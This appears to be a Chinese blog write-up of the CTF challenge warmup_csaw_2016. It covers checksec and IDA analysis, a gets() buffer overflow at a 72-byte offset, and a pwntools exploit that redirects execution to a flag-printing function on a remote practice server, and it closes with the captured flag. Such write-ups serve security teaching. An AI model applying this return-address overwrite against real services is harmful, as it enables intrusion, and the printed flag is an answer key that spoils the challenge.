![在这里插入图片描述](https://img-blog.csdnimg.cn/19ba12fdb2384fb0b7d8b0fb6e1f0237.png)
1、在终端中使用命令查看warmup_csaw_2016
下载题目得到 warmup_csaw_2016,利用 file 命令查看该文件的类型,再通过checksec ./filename查看保护机制
$ file warmup_csaw_2016
$ checksec ./warmup_csaw_2016
可得该文件是64位且该题任何保护都没有打开,所以我们可以实现最简单的栈溢出
运行该文件:
2、在IDA中查看warmup_csaw_2016
将warmup_csaw_2016文件放入IDA中查看,打开字符串窗口。没有发现 /bin/sh,但找到了cat flag.txt
双击cat flag.text
来自sub_40060D
打开sub_40060D,F5反编译
果然是system函数,可以看到这个函数的功能就是输出flag,记录下他的地址 flag_addr=0x40060D
回到sub_40060D的图形化界面
双击rbp,弹出界面
得到返回地址0x40060D
打开main函数,F5反编译
由**char v5[64]**可得,在main函数的栈帧中,划分了一个64字节的存储空间,也就是说只需要存入64个字节地址,就可以get函数返回地址。
偏移量为:64 + 8 = 72 (64位+8;32位+4)
//由函数可得输出了v5,gets函数并没有限制长度,因此存在溢出漏洞。v5的大小是0x40,因此只要我们输入的字符串长度=0x40+8(64位ebp的长度)即可溢出到返回地址,再将返回地址覆盖输出flag的那个函数地址即可
参考:https://blog.csdn.net/BangSen1/article/details/112630600
3、编写exp,夺flag
from pwn import *
p = remote('node4.buuoj.cn', 26353)
payload = b'a' * (72) + p64(0x40060D) //或者b'a' * (0x40+8) + p64(0x40060D)或者b'a' * (64+8) + p64(0x400611)
p.sendline(payload)
p.interactive()
问题:这里返回地址这几个都能得出flag?等待补充
打开终端,输入vim 1.py 创建一个python文件(命名随意)
$ vim 1.py
将exp文件输入进1.py中,Esc+:wq保存并退出1.py
运行代码
$ python3 1.py
将得到的flag复制到题目的flag框中:
flag{2035cb75-98aa-46ae-8cf0-61c471c94ad}